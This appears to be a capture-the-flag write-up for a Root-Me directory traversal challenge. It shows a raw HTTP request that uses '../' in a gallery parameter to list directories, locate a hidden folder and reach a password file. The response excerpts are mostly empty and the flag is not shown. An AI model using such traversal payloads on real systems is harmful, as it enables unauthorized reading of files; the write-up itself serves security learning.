

Directory traversal

Lab: https://www.root-me.org/en/Challenges/Web-Server/Directory-traversal#validation_challenge

- This directory traversal has the low severity when the directory is limited in /galeries, so trying to read the file outside like /etc/passwd is forbidden
- We have to find the hidden section in /galeries.
- Firstly, i call API to GET /web-serveur/ch15/ch15.php?galerie=../ and it return 2 directories

```
<hr />
<table id="content">
  <tr>
    <td>
      
    </td>
  </tr>
  <tr>
    <td>
      
    </td>
  </tr>
  <tr>
    <tr>
  </tr>
</table>
</body>
</html>
```

- Next, we try to read /galerie and see that there is a directory /galerie/86hwnX2r

```

Pretty Raw Hex
1 GET /web-serveur/ch15/ch15.php galerie=../galerie HTTP/1.1
2 Host: challenge01.root-me.org
3 Cache-Control: max-age=0
4 Accept-Language: en-US
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
  image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Accept-Encoding: gzip, deflate, br
9 Connection: keep-alive
10
11

```

```

Pretty Raw Hex Render
  </b>
  </span>
  <br />
  <hr />
  <table id="content">
    <tr>
      <td>
        
      </td>
    </tr>
    <tr>
      <td>
        
      </td>
    </tr>
    <tr>
      <td>
        
      </td>
    </tr>
    <tr>
      <td>
        
      </td>
    </tr>
  </table>

```

- Move to the directory ../galerie/86hwnX2r/ and get the file password.txt

```

<tr>
  <td>
    
    </td>
  <td>
    
    </td>
  <td>
    
    </td>
  </tr>
</tr>

```

- The flag

